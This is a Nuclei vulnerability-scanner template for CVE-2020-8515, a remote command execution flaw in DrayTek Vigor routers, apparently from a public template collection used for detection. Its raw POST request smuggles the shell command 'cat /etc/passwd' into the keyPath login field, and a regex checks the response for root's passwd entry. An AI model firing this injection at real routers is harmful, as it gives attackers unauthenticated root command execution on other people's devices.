nuclei-templates/cves/2020/CVE-2020-8515.yaml

40 lines
1.3 KiB
YAML

id: CVE-2020-8515
info:
name: DrayTek - Remote Code Execution
author: pikpikcu
severity: critical
description: "DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI."
remediation: This issue has been fixed in Vigor3900/2960/300B v1.5.1.
reference:
- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
- https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
- https://nvd.nist.gov/vuln/detail/CVE-2020-8515
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-8515
cwe-id: CWE-78
tags: cve,cve2020,rce
requests:
- raw:
- |
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: {{Hostname}}
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body
- type: status
status:
- 200
# Enhanced by mp on 2022/04/29